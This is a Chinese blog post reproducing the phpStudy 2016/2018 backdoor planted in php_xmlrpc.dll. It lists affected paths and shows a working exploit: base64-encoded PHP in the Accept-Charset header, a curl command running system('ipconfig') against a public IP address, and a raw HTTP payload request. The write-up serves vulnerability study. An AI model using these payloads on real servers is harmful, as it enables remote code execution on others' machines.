Myluzh Blog

phpStudy2016&2018 后门漏洞复现

发布时间: 2020-2-23 文章作者: myluzh 分类名称: PHP 朗读文章


前言:
参考杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果提到,犯罪嫌疑人马某供述,其于2016年编写了后门,使用黑客手段非法侵入了软件官网,篡改了软件安装包内容。该“后门”无法被杀毒软件扫描删除,并且藏匿于软件某功能性代码中,极难被发现。

影响版本:
    通过分析,后门代码存在phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45 php_xmlrpc.dll模块中
phpStudy2016后门文件路径
  1. php\php-5.2.17\ext\php_xmlrpc.dll
  2. php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018后门文件路径
  1. PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
  2. PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

后门分析:

    使用ida查看.dll后门文件,存在@eval(%s(‘%s’)),证明漏洞存在,如图:
点击查看原图

漏洞复现:
0x01复现环境
    网上没找到phpStudy2016版本带后门的,只有phpStudy2018版本,所以本次我们拿2018版本测试,复现测试环境Windows Server 2008+phpStudy2018(php-5.4.45+Apache)
点击查看原图

0x02漏洞复现
    直接访问一个php页面,然后Burp Suite抓包,如果是本机127.0.0.1环境,代理去掉本地过滤,否则抓不到包。
点击查看原图
    然后在请求头里构造Accept-charset即可,Accept-charset:这里写需要执行的代码base64加密,例如我们要执行一个phpinfo();,先把他Base64加密得到“cGhwaW5mbygpOw==”,构造一个请求头Accept-charset:cGhwaW5mbygpOw==就能执行phpinfo;
    这边还有一点需要注意下:直接repeater过来的数据包Accept-Encoding字段的参数是gzip, deflate,deflate前面有一个空格,需要把这个空格去掉,要不然执行不成功。
点击查看原图
点击查看原图

0x03其他方法
使用Curl命令构造请求头也是能成功的,代码如下:
curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' http://47.103.25.64:8081/index.php
点击查看原图

0x04Payload部分

GET / HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
accept-charset: cGhwaW5mbygpOw==
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6,und;q=0.5,pt;q=0.4,zh-TW;q=0.3,lb;q=0.2,fr;q=0.1,ca;q=0.1,ja;q=0.1,mt;q=0.1,de;q=0.1,vi;q=0.1,pl;q=0.1,tr;q=0.1,nb;q=0.1,es;q=0.1
Connection: close
Content-Length: 2

标签: 渗透 漏洞 phpstudy 后门 复现

发表评论